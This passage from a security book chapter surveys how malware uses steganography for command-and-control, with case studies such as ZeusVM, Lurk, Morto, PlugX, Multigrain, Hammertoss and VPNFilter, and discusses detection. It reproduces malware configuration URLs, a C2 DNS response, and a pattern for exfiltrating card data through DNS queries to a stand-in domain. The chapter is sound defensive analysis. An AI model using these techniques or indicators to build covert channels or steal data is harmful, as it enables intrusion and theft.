In this chapter, we have shown that covert channels can be used to empower
malware, especially botnets, with a high degree of sophistication and effectiveness.
The most advanced techniques allow to implement a colluding applications scheme
to exchange data on a local system, also when software components face a separation
through VMs, containers, or security policies. Novel developments in the covert
channel domain enhance the capabilities of malware to exchange data in a stealthy
manner, also by exploiting popular services like online social networks. The chapter
also discussed possible challenges to be addressed. Specifically, the proposed research
and development items can be considered as an opportunity not only for malware
developers. In fact, also the anti-malware industry and the research community
should combat the successful mastering of advanced and optimized techniques. In
this vein, the threat of future botnets could potentially be limited, at least in the mid-
term future.
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5.1 Introduction
The aim of steganography is to conceal secret data by utilizing various features of
the different objects called carriers. Since the ancient times through the medieval
ages until today, steganography has been widely used to hide information against
observers on the way to recipients. Steganography was generally recognized in the
context of hiding communication between adversaries or criminals, whereas other
applications were considered as very specific or mostly theoretical without
a possibility of the correct implementation. In last years, the increasing evidence
of the real applications of steganography for the covert data storage and the covert
data communication has given another security factor to consider by engineers
and cyber security experts. To emphasize steganography as the trending topic for
information security, recent reports by Kaspersky [1], McAfee [2] or Fortinet [3]
warned that information hiding techniques applied by computer malicious soft-
ware designers are highly emerging cyber threats. Applying steganography for
computer malware operations and communication enables to:

■ bypass common security mechanisms, such as antivirues, Intrusion Detec-
tion/Intrusion Prevention systems, firewalls. All of them would allow
a network traffic or multimedia files with hidden data as they would
recognize them as normal, non-violating and non-suspicious network com-
munication or data exchange.

■ evade or make a detection a harder. Steganography introduces an additional
level of difficulty in the forensic and malware analyses.

The modern approach tends to examine the cyberattacks as a complete process of
doing harm by cyber adversaries in which executing the malicious code or
command and control communication (C2) would be only one of the stages. In
this approach, a cyberattack is modelled by a concept of advanced persistent
threats (APTs) [4]. APT represents the model of multilayer intrusion campaigns,
conducted in a long time frame by well-resourced and trained groups who target
highly sensitive information, such as economic, proprietary, or national security
intelligence. Information hiding techniques must be recognized as one of the
tools that adversaries could utilize to achieve their goals. The evolution of APTs
impacts the development of new defense approaches because the earlier meth-
odologies are not sufficient anymore. One of the solutions is an intelligence-based
network defense approach [5]. It leverages Cyber Kill Chain model to describe
stages of intrusion, finding kill chain indicators of actions, identifying patterns
that link particular intrusions and incidents into broader campaigns. Further-
more, the defenders’ efforts are set in an iterative process of gathering and
exchanging knowledge about adversaries and their techniques. It creates
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intelligence feedback loop to enable defenders to decrease the likelihood of
adversary’s success with each following intrusion attempt.

Following the introduced strategy of defense by proactive research, this chapter
would serve as the know-how for analysis, detection and breaking the C2 stage of
APTs when it is secured by steganography. It focuses on applicability of informa-
tion hiding techniques to the C2 stage. In Section 5.2, theoretical analysis of C2
channels established with steganographic techniques is conducted. Basic concepts
of modern steganography (Section 5.2.1) and models of C2 channels based on
steganography (Section 5.2.2) are introduced. Section 5.2.3 provides the model
view on C2 channels by applying Cyber Kill Chain® and MITRE ATT&CK™ [6]
methodologies. The discussion on the countermeasures for steganographic C2
channels (Section 5.2.4) are evaluated subsequently. Section 5.3 presents the state
of knowledge of the real malicious software and botnets, where C2 channels are
based on different steganographic methods. Both botnets in traditional computer
systems and mobile systems are considered. It is concentrated on years 2010–2018
when several malicious campaigns and APTs with the modern steganographic
capabilities were discovered. The chapter is concluded in Section 5.4.

5.2 Steganography Techniques for C2 Channels

5.2.1 Basic Concepts of Modern Steganography

On the basis of the applicability, modern information hiding techniques could be
classified into two categories:

■ Covert data storage methods: It means the application of storing techniques
to hide data. Security is based on secret of localization of stored data and
the algorithm to properly extract data from the hidden storage.

■ Covert data communication methods: It means the application of network
communication techniques to transmit data in a way that the observers are
not aware of such communication. Security is based on the secret of
localization of data inside the legitimate network data stream and the
algorithm to properly extract data from it.

There are plenty of different steganographic methods that belong to one of these
main categories. This chapter focuses on types of steganography methods pre-
sented in Figure 5.1. Table 5.1 compares features of these modern steganography
methods.

Digital steganography utilizes digital media files such as images, audio and
video files as carriers of hidden data. Johnson and Katzenbeisser [8] distinguished
few types of techniques that are the foundation of modern digital steganography:
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Figure 5.1 Classification of modern steganographic techniques.

Table 5.1 Comparison of modern steganography methods presented
in Figure 5.1

Feature Digital Media Steganography Network
Steganography

Steganographic
Routing

Type Covert data Storage Cover data
Communication

Hybrid

Modelling High entropy [7], carriers [8] Good/bad/ugly
methods [9],
carriers [10]

Low entropy [7],
hybrid models

Detectability Easily detectable for simple
methods, need of image pro-
cessing and machine learning
for complex methods

Good methods
hard to detect

Very hard, covered
by multilayer
operations

Robustness Depending on hosting service Vulnerable to
network
conditions

Vulnerable to net-
work conditions
and setup

Steganographic
cost

Quality degradation Network traffic
anomalies

Some anomalies,
but covered by
multilayer
operations

Implementation Easy Hard Very hard
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■ Substituting redundant data in digital objects
■ Embedding data in the transform space of digital signal
■ Spread spectrum as a carrier
■ Utilization of statistical properties of a digital file
■ Secret embedding by direct malformation of digital signal
■ Creating an artificial digital object as a carrier of hidden data (no alteration

of the existent one)

The second most important technique of information hiding is network stegano-
graphy. Whereas digital steganography is focused on digital files, network
steganography utilizes networks and communication within them to transport
hidden data. The aim of network steganography is to generate network packet
flows with as normal characteristics as possible to establish covert communication
channels among them. There are two main categories of network steganography
depending on embedding procedure:

■ Modifying protocols by, for example, using unused header fields or chan-
ging sequence in protocol data unit

■ Manipulating time of protocol messages by, for example, introducing
artificial, delays, loss or re-transmissions

More information about basic information hiding techniques in communication
networks is included in [10]. Other methods that utilize different techniques into
one design are called hybrid methods. They are recognized as the most resilient to
any forensic procedure. Especially, steganographic C2 channels could profit for
such methods where overlay communication patterns are encapsulated into
several basic steganography techniques.

The original idea of distributed communication system with applied steganography
is TrustMAS platform [11]. It developed the concept of steganographic routing, which is
built on the design of distributed steganographic router. It provided the ability of creating
covert channels between chosen endpoints called StegAgents. Links and paths between
these endpoints may be established by using any of the steganographic techniques from
TCP/IP protocol stack. Digital media steganography can be also used as streaming of
files over application layer. It should be noted that one communication session can be
realized over several paths and links where all of them are established with different
steganographic technique. Distributed steganographic router is responsible for a reliable
routing of such communication sessions. Furthermore, TrustMAS offers also
a capability of covering original senders by applying random-walk algorithm for passing
messages around without pointing the originator. In summary, TrustMAS is
a fundamental achievement in research domain of steganographic communications
systems. In upcoming years, many marks of ideas introduced by TrustMAS were found
during forensic processes of malwares and botnets.
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5.2.2 Models of Steganographic C2 Channels

Every steganographic C2 channel combines one or more of steganographic techni-
ques (digital and network) with the right tactics on C2 stage of the cyberattack. C2
channels are realized with the standard communication models of peer-to-peer or
client-server [12]. On the basis of these two common models of communications
with application of steganography, message passing patterns for steganographic C2
channels could be identified: (1) peer-to-peer pattern; (2) request-reply pattern; (3)
observer pattern; (4) publish-subscribe pattern; (5) push-pull pattern. Every method
of covert C2 channel applies to one of these patterns directly or combines them in
hybrid or chaining manner to introduce next layers of complexity.

Peer-to-peer pattern consists of direct communication over steganographic
channels. Any other pattern or protocol can be encapsulated inside this, but
there is no requirement of adding any mechanisms such as acknowledgments or
control of losing data. Such covert channels could be realized by direct streaming
of digital media files with embedded hidden data or with network steganography
by transmitting hidden data through TCP/IP stack protocols. Both of them are
applied directly for passing commands and to exfiltrate data from victims. Figure
5.2 shows operational scheme of this pattern.

Request-reply pattern distinguishes from peer-to-peer pattern with additional
layer of having required replies for one or more requests. Figure 5.3 presents
scheme of this pattern.

Observer pattern defines two parties of communication: observers and obser-
vable objects. Observers are required to maintain information about objects that
are the subject of observation, so in the beginning there is a procedure of
registering such observation. In steganographic C2 channels, it is realized in one
of the two scenarios:

1. Observing C2 servers for operational data as normal files. Malicious bot pulls
this data if it is available, using network steganography transmission.

2. Observing C2 servers for operational data as digital media files with embedded
hidden data. Malicious bot pulls this data if it is available, using network
steganography transmission or normal network traffic of TCP/IP protocol stack.

Operational schemes of observer pattern are showed in Figure 5.4.

Publish-subscribe pattern is extended realization of observer pattern with unique
features. It assumes utilization of an additional bridge for bot herders and bots for
two-way communication, which consists of commanding on the way from bot
herder to malicious bot and exfiltrating data from victims to a bot herder.
Furthermore, there is no need of registration or maintaining communication
endpoints, but both sides need to know the publishing place only. Passing data
from bot herder to malicious bot in this setting could consist of:
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Figure 5.2 Peer-to-peer messaging pattern of steganographic C2 channel.
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Figure 5.4 Observer messaging pattern of steganographic C2 channel in case of
registering bot and pulling new data from C2 server.
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1. Publishing commands and other C2 operational data published to C2 server
as normal files. Malicious bot pulls this data if it is available, using network
steganography transmission.

2. Publishing commands and other C2 operational data published to C2 server
as digital media files with embedded hidden data. Malware bot pulls this data
if it is available, using normal TCP/IP transmission, for example, HTTP.

It must be noted that a malicious bot needs to check availability of new data on
C2 server regularly in this pattern. Exfiltrating data from victim to bot herder
could be realized as:

1. Publishing stolen data embedded inside digital files into C2 servers. Bot
herder pulls this data from C2 server if it is available.

2. Publishing stolen data as normal files utilizing network steganography to
transmit data from victim’s host to C2 server. Bot herder pulls this data
from C2 server if it is available.

Operational schemes of publish-subscribe pattern are presented in Figure 5.5.
Push-pull pattern is the last recognized model of message passing. It is

characterized by defined pipeline of sender (“pusher”) and receiver (“puller”). It
could be understood as peer-to-peer pattern with unique point-to-point data feeds.
Scheme of push-pull pattern is described on Figure 5.6.

Data streams for steganographic channels could be classified as:

1. Direct data streams—realized by standard communication streams estab-
lished for streaming digital media steganography or by using network
steganography.

2. Altered data streams—realized by embedding hidden data into legitimate
traffic and extract secret before normal flow achieves its destination. It is for
utilization of proxy and man-in-the-middle concepts.

Publish
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Figure 5.5 Publish-subscribemessaging pattern of steganographic C2 channel in
case of pulling new data from C2 server.
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5.2.3 Cyber Threat Modelling of Steganographic
C2 Channels

One of the common models of cyber threats used by the industry experts and
scientists is the Cyber Kill Chain model [5]. This model focuses on defining
stages of cyber threats representing a kill chain of the damage. The aim is to find
those parts of chains and break the chains as early as possible. One of the defined
stages of Cyber Kill Chain is C2 stage. Typically, compromised hosts must
beacon outbound to an Internet controller server to establish a C2 channel.
APT malware especially requires manual interaction rather than conducting
activity automatically. It is concluded that steganography can be applied at this
stage of cyber espionage presented by this model very clearly. Using steganogra-
phy to violate the security of cyberspace was never as vital as today. The best
strategy is to be proactive when preparing defensive strategies. We promote
research on new methods, considering the real scenarios of executing information
hiding techniques and implementing proof-of-concepts. Output of these activities
serves as the basis to design methods, tools, processes and methodologies for
protecting the cyberspace.

Continuing the introduced model of Cyber Kill Chain, we recognize botnets—
a network of malicious software client (bots) as the type of technical component
utilized in APTs or low-scale cyber malicious campaigns. From that perspective,
a botnet could be logically constructed in C2 stage, where communication
channels are established. The main strategy to compromise a modern botnet is
to break the C2 communication channel. Sometimes it could be possible to take
over the channel and mimic the bot to infer the protocol or to find the bot
herders, but in most scenarios we would like to block actions of the adversaries.

To complete the model view on C2 channels, they should be referred to the
model of MITRE ATT&CK [6]. MITRE ATT&CK is a globally accessible
knowledge base of adversary tactics and techniques based on real-world observa-
tions. The ATT&CK knowledge base is used as a foundation for the
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Figure 5.6 Push-pull messaging pattern of steganographic C2 channel in case of
pulling new data from C2 server.
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development of specific threat models and methodologies. It utilizes the matrix
view of main categories of tactics and the techniques belonging to these tactics.
There are two types of categories of tactics: defending tactics and attacking
tactics. C2 channels in the context of MITRE ATT&CK model are classified as:

■ Attack—Enterprise: Tactics—TA0011—Command and Control
■ Attack—Mobile: Tactics—TA0037—Command and Control

5.2.4 Countermeasures for Steganographic
C2 Channels

Section 5.2.3 established models of steganographic C2 channels, their features
and communication patters. In the first step, detection analysis process should be
targeted at finding higher level patterns of steganographic C2 communications.
This effort is hard as it needs to distinguish the malicious traffic from the
background of normal network packet flows. It could be referred to “finding
needle in the haystack” problem. After having suspicious network packet flows,
breaking and reverse engineering procedures for steganography techniques are
applied in:

■ steganalysis methods for digital media files if they are transmitted over
considered communication session;

■ steganalysis methods for network traffic itself if suspicious traffic does not
contain any digital files.

The domain of finding malicious objects between normal ones is called
anomaly detection. It assumes that any malicious activity would feature a mark of
being extraordinary in comparison to normal activity. Any anomaly detection
algorithm would be consisted in two steps: (1) establishing a baseline model of
observation and (2) examining current observations against baseline model. The
modern approach for these efforts are classical mathematical statistics and recently
applied as machine learning [13, 14].

After having suspicious network packet flows, fuzzing for any steganography
applications is realized. Steganalysis of digital media files is realized by media file
analysis targeted on file type. Image steganalysis tools utilize feature-based
steganalysis and machine learning. The process consists of a noise residual
computation, feature construction and binary classification. As reference, concepts
and methods for digital steganalyzers resulting from [15] and [16] are considered.
Very promising subset of machine learning algorithms for image steganalysis is
deep machine learning [17]. It leverages deep machine learning architectures to
extract different features of images. It can support uncovering the secret and
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hidden data inside it. Network steganalysis can be at first realized by validating
TCP/IP protocols to look, for example, for extra data in unused header fields.
Main tools for network steganography detection and analysis are statistics and
machine learning, for example, methods presented in [18] and [19]. There are
also plenty of other approaches such as visualizations [20]. Another perspective on
anomaly detection and finding sources of attacks is added by approaches such as
idea of moving observer. It was practically realized as MoveSteg technique,
proposed in [21] and implemented in [22]. It evaluates features of network
flows to detect time-delay network steganography. It assumes that the observed
delays result in changes of vector of observers moving around the network.

5.2.5 Challenges for Steganographic C2 Channels
Challenges for steganographic C2 channels result from the wider context of
challenges for APTs [4]. Applying of information hiding techniques within APT
tactics is emerging threat in recent time. The trend is proved by the fact that the
most impacting cyber attackers, such as that backed by governments and armies,
are implementing steganographic capabilities into their arsenal. In next years,
research should focus on misusing hardware, software and networks by
a combination of steganographic methods to hide multilayer operations in the
logic of using them. Unfortunately, classical steganalysis methods are not suffi-
cient anymore. There is increasing need for a new approach to deal with such
activities. It is broadly recognized as looking for a needle in a haystack. The main
questions concentrate on what to observe, how to observe and how to establish
verifiable evidence of such operations. All of these aspects are related together.
The very first answer for such problems is the big data approach with behavioral
analysis. For example, collecting users’ activity, such as

■ uploading and downloading multimedia files from Internet services;
■ correlations between using different services, hardware, software and

networks;
■ timing and
■ distribution of activity

could establish a valuable source of indicators for big data analysis. The next
challenge is choosing monitoring architectures and methodology. The promising
algorithms to investigate such problems are:

■ machine learning and big data analytics on large datasets;
■ graph modelling and
■ distinguishing automatic from human activity.
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These algorithms could be used for data collected by observing the central
network with aggregated data or in more distributed designs where the particular
actors could be detected more accurately.

5.3 Case Studies of Steganographic C2 Channels

5.3.1 Introduction
This section presents the review of the real malicious software and botnets where
C2 channels were based on the different steganographic methods. It is concen-
trated on years 2011–2017 when different malicious campaigns and APTs with
modern steganographic capabilities were discovered. Some of the attacks started
much earlier than the time of being caught, so dates have been picked from the
official reports. Among these attacks, the three common information hiding
techniques were mainly utilized for C2 channels:

■ Embedding hidden data into network traffic;
■ embedding hidden data into a digital file by modifying its structure or by

digital steganography methods and
■ combining simple steganography methods with the overlay communication

protocols to establish multilevel and hybrid information hiding techniques.

Hiding data into network traffic was realized by abusing protocols from the
standard TCP/IP stack, especially text protocols like DNS or HTTP. Another
option was to mimic the network traffic of popular Internet applications, for
example, chats and video players. Malware with digital media steganography
capabilities uses different but majorly the simplest hiding algorithms. Two main
scenarios of sharing these digital files were applied:

■ Utilizing of different Internet services including but not limited to simple
websites, dedicated file stores and social networks to contain the carriers
with hidden data

■ Sharing by streaming digital files with hidden data peer to peer

In this section, C2 channels based on steganography methods were evaluated in
the context of the following:

■ Detection: C2 channels are detected in the real attacks conducted by cyber
threat groups. A new method for defending systems can be developed
a posteriori—after occurrence of an attack and investigation of it.

■ Prevention: C2 channels are designed in as academic and industrial research
to broaden the knowledge of the problem. A new method for defending
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systems can be developed a priori—before occurrence of an attack and with
prediction of possible behavior of the attackers.

5.3.2 Computer Botnets

5.3.2.1 C2 Channels Based on Digital Steganography

One of the first recognized malware with utilization of covert data storage
methods for C2 is Duqu [23] from 2011. The Duqu malware targeted many
industrial manufacturers around the world to collect data about their industrial
control systems (ICS). Duqu utilized covert storage data methods to exfiltrate
secrets from the target. It appended digital images with the encrypted information
stolen from the compromised environment. Next, the prepared carriers were sent
to C2 servers. The generated network stream with the leaked data was recognized
as benign flow of pictures. Duqu is a vital concept for cybersecurity community,
as it represents a milestone in broadening knowledge about tactics of the modern
cyber adversaries and APTs. It was analyzed that only high skill programmers
dedicated to such tasks were able to develop that complex design. It was also
connected with Stuxnet, as there were many resemblances between them.

The next intensification in finding utilization of digital file steganography for
operations of botnets happened in 2014. Main example of malware with steganography
capabilities is a morph of malware from Zeus family, Lurk [24]. Zeus is a well-known
family of malware with long history of evolution. First discovered versions have been
dated to 2007. The morph of Zeus from 2014 [25] added the utilization of
steganography to complicate analysis and to bypass the intrusion detection systems. It
used JPG image files to pass the C2 configuration files to bots. The encrypted C2 URLs
data were hidden inside the malware’s base configuration. URLs restored using
decryption were like, for example, hXXps://arrowtools.ru/xEZNzZEQuj8vJwsZ/flash-
player.jpg. As it was analyzed, such C2 URLs contained a path to JPG image file. The
ZeusVM could request this JPG file over an HTTP or HTTPS GET request. The file
was a legitimate JPG image that could be properly rendered. The observer could classify
it as a simple and innocent image file. The JPG image consists of a sequence of
segments, each beginning with a marker, each of which begins with a 0xFF byte
followed by a byte indicating what kind of marker it is. One of the markers (0xFF,
0xFE) indicates a text comment. The interesting part of image file started 14 bytes after
the comment marker (0xFF, 0xFE). The data was encoded in base64. A DWORD
value that contains the size of the encoded data in base64 was 10 bytes after the
comment marker. It is 82,584 bytes in this case, but in practice the comments were
always at the end of the JPG file followed by the 2-byte End of Image marker (0xFF,
0xD9). As expected, the encoded data contained configuration files for C2 infrastruc-
ture. Next version of ZeusVM enhanced this steganography method with embedding
the configuration using multiple comments inside JPG files. Each of these base64
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comments were extracted and concatenated together in the same order as in the source
JPG file. Example configuration of C2 infrastructure is presented subsequently:

Prologue
====================================
Size: 61933 bytes
config flags: 0x00000000
# sections: 61
MD5: 73611d81
url_10ader (20002)
====================================
http://icpiedimulera.it/flash.exe
url server (20003)
====================================
https://arrowtools.ru/xEZNzZEQuijstZ/tree.php
AdvancedConfigs (20004)
====================================
https://reybomerte.ru/xEZNzZEQuj8vasZ/f1ashplayer.jpg
https://suemnopshot.ru/xEZNzZEQuj8vasZ/flashplayer.jpg
http://unchangeclust.ru/xEZNzZEOujSVstZ/flashplayer.jpg
WebFilters (20005)
====================================
!*.m1crosoft.com/* (don t log)
!http://*myspace.com* (don’t log)
!*googleusercontent.com* (don’t log)
!*pipe.skype.com* (don’t log)
!http://*odnoklassniki.ru/* (don’t log)
!http://vkontakte.ru/* (don’t log)
@*/login.osmp.ru/* (screenshot)

The most interesting part is AdvancedConfigs as it hints that more parts of the
configuration were dispersed among different pictures.

In Lurk malware, steganography was applied on side of C2 server to hide URL
from which a bot could download an executable. After installation, the malware
could send the innocent request over HTTP on port 80 or over HTTPS on port
443 to establish a valid communication session to bypass a signature-based
network detection. In response, the C2 server sent a bitmap image that contained
a URL of a malware executable. The URL was encrypted and embedded in the
bitmap image using steganography. The downloader’s URLs utilized
a steganographic technique that embeds information in the least significant bit
(LSB) of every byte. The malware embedded data in the individual color pixels of
a bitmap image. It was structured as follows:

■ Byte 0–1: Signature of the bitmap
■ Byte 2–5: Size of the file
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■ Byte 6–9: Reserved
■ Byte 10–13: Data offset
■ Byte 14–53: Information headers of the bitmap
■ Byte 54+: Embedded data

A value of 0xFF is used to encode a bit “1,” and 0xFE is used to encode a bit “0.”
Using this algorithm, Lurk could encode one bit of information for every eight
bits (or 1 byte) of data. The malware decoded the hidden information from the
first 32 bytes. The resulted value was added to a hard-coded value of 0x76 to
locate the offset of the encoded malware URL. The same algorithm of decoding
bits from bytes of data was applied to extract the malware URL. After the bytes
are extracted from the image, the URL is decrypted, for example: hxxp://zvld.
alphaeffects.net/d/1721174125.zl. Next, Lurk issued an HTTP GET request to
the URL specified in the bitmap image to download the payload. The payload
was prepared with obfuscation technique of using a four-byte XOR key. Finally,
Lurk created an Internet Explorer process and injected the restored payload to
execute it.

5.3.2.2 C2 Channels Based on Network Steganography

The first well-recognized example of malwares discovered with utilization of
covert data communication method for C2 is Win32.Morto from 2011 [26].
This is the one of the first designs of malware with C2 communication over DNS
protocol. DNS is important protocol from the perspective of attackers because:

■ DNS is the critical protocol of Internet infrastructure based on TCP/IP
protocol stack as it provides the base mechanism of mapping names of hosts
represented by domains to IP network addresses. It means that the port of
DNS service, UDP/53, will be opened and passed by firewalls, IDS and the
other network security devices.

■ DNS is the text protocol. It establishes the surface of abusing DNS protocol
controllers. They do not have any specific procedures for validating values
passed by protocol over the standard checks during resolving domains to IP
addresses. The only way to find such abuses is to analyze DNS traces manually.

Win32.Morto used DNS TXT records for its C2 communication protocol. TXT
records consists of alphanumeric strings stored within a DNS record. The
malware infrastructure used these DNS TXT records for issuing commands.
The bot once installed on a victim’s machine, attempted to request a DNS
record for a number of hardcoded URLs. Instead of asking for mapping of
a domain name to IP address, the malware queried for TXT records only. The
returned TXT record contained commands that the malware should perform in
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compromised environment. After receiving the response, the bot proceeded to
validate and to decrypt the returned TXT record. The decrypted record contained
a binary signature and an IP address at which another data could be download,
typically a file of another malware for execution. Win32.Morto targeted Windows
workstations and servers with propagation via RDP protocol. Below, there is an
example of TXT record response passed to Win32.Morto malware:

Non-authoritative answer: malicious.url.net text = "p66662
n1T!3666666666666666666666666666kJ6666666666666716wTjuUj
Ih2NJm7euX8oBU79qUDU1LDvfU8Tfx79Wa=0J6666666666666666666
66666666666666666666666666666666666666666666666666666666
6666666666666666666666666666666666666666666666666"

Covert data communication methods based on DNS protocol is one of the
standard strategies to realize C2 stage of APTs. Throughout the years, cyber
threat groups tried to apply other common TCP/IP protocols to hide their
operations. Next case is Fokitor reported in 2013. The attackers utilized
a stealthy Linux backdoor with the camouflage technique of hiding within
the Secure Shell (SSH) protocol and other server processes. The backdoor
provided remote command execution without leaving any footprint in the
system, for example, opened network socket or attempts of connecting with
C2 server. Instead, the malware code was planted in the SSH protocol in the
man-in-the-middle setting to oversee the network stream for a specific
sequence of characters consisting of colon, exclamation mark, semi-colon,
period (“:!;.”). When this sequence of characters was appearing, the malware
intercepted the following stream as the own payload. This interception was
leaving no evidence in SSH logs. The commands in that payload was
encrypted with Blowfish and encoded with base64. This technique provided
stealthiness for attackers as their operations looked as legitimate connections
through SSH, the other protocols and the other processes. To identify the
presence of this malware, monitoring over the whole network and looking for
SSH traffic with string of “:!;.” is needed. Another way to find this malware
was to dump the SSHD process and search for the following strings: key=
[VALUE]; dhost=[VALUE]; hbt=3600; sp=[VALUE]; sk=[VALUE] and dip=
[VALUE], where [VALUE] can be an arbitrary value.

In next years, the more sophisticated techniques were in the field of cyber
threat groups’ interest. The malware gained the modular character, so it was no
longer appropriate to simple categorize C2 channels by application of simple
steganography techniques as one technique could be just a malware plugin. As the
main strategy of cyber threat groups’ operations is to trick defenders as much as
possible, it is seen as the emerging trend of combining different covert data
communication techniques into their malicious applications. The first example is
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the PlugX malware (2014), which was used for example by Threat Group 3390
for their operations [27]. In one of the PlugX morphs, the ICMP protocol was
utilized for the joining procedure in C2 infrastructure [28]. The case of
implementing ICMP for C2 channels is similar to case of DNS protocol:

■ ICMP is the crucial protocol of Internet infrastructure based on TCP/IP
protocol stack as it provides the base mechanisms of network diagnosis,
tracing and controlling transmissions. It means that every network appliance
has this service opened. ICMP flows will be passed by firewalls, IDS and the
other network security devices.

■ ICMP is the text protocol. It establishes the surface of abusing ICMP protocol
controllers. They do not have any specific procedures for validating values passed
by protocol over the standard checks during the decision-making process. The
only way to find such abuses is to analyze ICMP packets manually.

The data was transmitted as a payload of Echo reply (ICMP Type 0) packets. In
the next level, the HTTP protocol was involved. Data was transmitted in a POST
request matching the following pattern: POST/%p%p%p, where the %p values
were random hexadecimal DWORDs. The following quadruples of headers are
used in the request:

HHV1 / HHV2 / HHV3 / HHV4
LZ-ID / LZ-Ver / LZ-Compress / LZ-Size
IXP / IXL / IXK / IXN
FZLK1 / FZLK2 / FZLK3 / FZLK4
CC1 / CC2 / CC3 / CC4
ASH-1.0 / ASH-1.1 / ASH-1.2 / ASH-1.3 X-Session / X-Status /

X-Size / X-Sn

The latest version used the HTTP protocol in the new manner. The request
was transmitted via GET header instead of POST. Furthermore, the data
encoded in base64 was embedded in the Cookie header statement. After decoding
this value from base64, a ciphered buffer was received. The encryption key was
the first DWORD and the ciphered data was the remaining part. This version of
PlugX was shipped with a new module allowing the malware to contact its C2
over DNS. The data was also encoded in base64 encoded and sent as
a subdomain of the C2 in the DNS query.

Multigrain [29] is the next example of using DNS protocol to C2 communica-
tion. Malware utilized DNS queries with hardcoding the domain for the following:

■ Initial beaconing: The malware collected the volume serial number and part
of the MAC address to create a hash using DJB2 algorithm. The resulting
hash was then combined with the computer name and a version number.
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The resulted string was encoded with base32 and embedded into the
domain name.

■ Data exfiltration: Each Track 2 record founded inside the infected system
was at first encrypted with a 1024-bit RSA public key, encoded with base32
and finally stored in a buffer. Every five minutes, the malware checked this
buffer if it is not empty. If card data was present, the record of the buffer
was embedded into DNS query within the domain name the following
pattern: log.<encoded Track 2 data>.evildomain.com.

5.3.2.3 C2 Channels Based on Hybrid Steganography

In 2015, the first applications of steganography methods by emerging cyber threat
groups for their operations were observed. One of the caught malware campaign
is Hammertoss [30], which is probably run by a cyber-threat group from Russia,
APT29. They utilized together a few techniques to establish C2 channels:

■ Using steganography in image files to embed commands for bots
■ Spreading handles to image files with commands through Twitter
■ Storing image files with commands in Github and the other public Internet

services with the storing capabilities
■ Generating names of Twitter accounts in pseudo-random manner to look

for tweets with image URLs. It can be compared to the idea of random
generation of domains (domain generation algorithm) to overcome the
problem of hard-coding the list of C2 server URLs.

The scheme of Hammertoss operations is presented in Figure 5.7. The malware at
first looked for Twitter accounts whose names were generated with the included
algorithm (STEP 1). If accounts existed and had the tweet (STEP 2), a bot
downloaded its content (STEP 3). In the valid tweet, the attackers included URL,
offset in file where hidden data is appended and the part of decryption key. Using
Internet Explorer, the bot downloaded image from the URL (STEP 4). Next, the
malware searched the cache of Internet Explorer for any images at least as large as
the offset specified in the original post on Twitter. Hammertoss located the
encrypted data at the offset specified in the tweet (STEP 5). It decrypted the data
using a key composed of hard-coded data from the malware binary appended with
the characters from the tweet. In this case, the image contained (STEP 6) appended
and encrypted data that Hammertoss would decrypt and execute. The data might
also include other commands or the login credentials to upload a victim’s data to
a cloud storage service (STEP 7).

Hammertoss utilized a set of techniques to hide its operations and to complicate
forensic methods. It goes further than simple application of image steganography, as
it adds the overlay of communication over social network (Twitter).
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In 2018, Talos reported catching of a malware called “VPNFilter,” [31] controlled
by another cyber threat group APT28 (Fancy Bear). VPNFilter malware was
a multistage, modular platform with capabilities of supporting both data gathering
and destructive attack operations. Attackers implemented several redundant techni-
ques for establishing C2 channels to improve reliability and robustness of their
infrastructure. One of these mechanisms was to search and download images from
particular Photobucket’s profiles. The example of URL is as follows: http://photo
bucket.com/user/bob7301/library. Once the malware completed initialization, it
started downloading pages from the Photobucket URLs. The malware downloaded
the first image from the gallery the URL is referencing, and then proceeded to extract
the IP address of C2 server. The address was extracted from six integer values of GPS
latitude and longitude in the EXIF information of the image. If this procedure failed,
malware tried to download image with IP address of C2 server from the hard-coded
backup domain. Finally, if earlier methods failed, malware started to listen for
a specially crafted packet as per the following procedure:

■ Looking for all IPv4/TCP SYN packets
■ Validating packet for:

– destination IP address if it matches what it obtained when the malware
started this procedure. Malware could also skip this step if it failed to get
an IP from api.ipify.org

– size of 8 bytes or more
■ Searching for the sequence of bytes 0x0C15222B in the validated packet
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Figure 5.7 Scheme of Hammertoss steganographic C2 channel basing on [30].
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■ Interpreting bytes after sequence of 0x0C15222B as the IP address. For
example, 0x01020304 is treated as IPv4 address of 1.2.3.4

This algorithm can be recognized as a covert data storage method with
utilization of payload of IPv4/TCP packets.

Application of hybrid steganography methods for C2 channels was recognized
as the most dangerous type much earlier. It was clear that combining different
techniques to obfuscate the real operation of C2 channel introduces a hard
challenge for malware analysts and forensic investigators. The established way to
tackle with the problem is the prevention approach. Throughout the years, the
several academic and industrial teams tried to develop their own proof-of-
concepts of such C2 channels for synthesizing detection algorithms. Two well-
recognized results of botnets with application of hybrid hiding techniques for C2
channels are Stegobot (2011) and Instegogram (2016).

Stegobot, introduced in 2011 [32], was a new-generation botnet that commu-
nicated over probabilistically unobservable communication channels. If the C2
communication is unobservable then botnet detection can be significantly more
difficult than where communication is not hidden. Unlike conventional botnets to
date, Stegobot traffic did not utilize a communication endpoint between bots.
Instead, it applied a covert communication over a social network. It introduced an
overlay for bot-to-botmaster communication that took place along the edges of this
social network. Bots used digital image steganography to hide the presence of
communication within image sharing behavior of user interaction. A bot executed
on the infected computer can communicate with bots running on different compu-
ters, if users of these machines were connected by in the social network. The social
network offers a peer-to-peer overlay in which the information is transferred from
each bot to the botmaster. The steganographic C2 channel is constructed by hiding
the data within images. By keeping the size of the hidden data to a limit, it was
possible to make the presence of bot communication difficult to discover by
examining the communication channel alone. Communication is realized in a push-
pull model with restricted flooding routing. In this model, when a user uploads an
image to a social network from an infected host (STEP 1), the bot does a man-in-the-
middle (MITM) attack to intercept the image (STEP 2). It inserts the data into the
image using an image steganography technique. Upon completion of image upload,
all the neighbors of the user from the same social network are notified (STEP 3).
When a neighboring user of the publisher logs into the social network from the
infected machine and views the picture, the bot downloads it (STEP 4). After
downloading, it extracts the steganographically embedded data carried by the image
(STEP 5). The botmaster has a view of all uploaded images with hidden data by
controlled bots. When the botmaster intends to put a command, it does by preparing
a hidden message and uploading to its social networking account from were bots can
pull it to execute.
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The possibility of designing such a botnet even with a less-than-optimal
routing mechanism such as restricted flooding was shown. Analysis of Stegobot’s
network throughput indicated its stealthiness, but also a capability of channeling
enough quantities of data from its victims to the botmaster, estimated at tens of
megabytes every 30 days.

Another example of research on C2 channels established by combination of
steganography social networks is Instegogram [33] from 2016. Researches devel-
oped a proof-of-concept of their system. The remote access trojan was configured
to communicate with the specific Instagram accounts on which images containing
messages encoded with a steganographic scheme would be published. The
malware included a steganographic decoder to extract a hidden payload from
each downloaded image. Next, a restored data could be executed on the system.
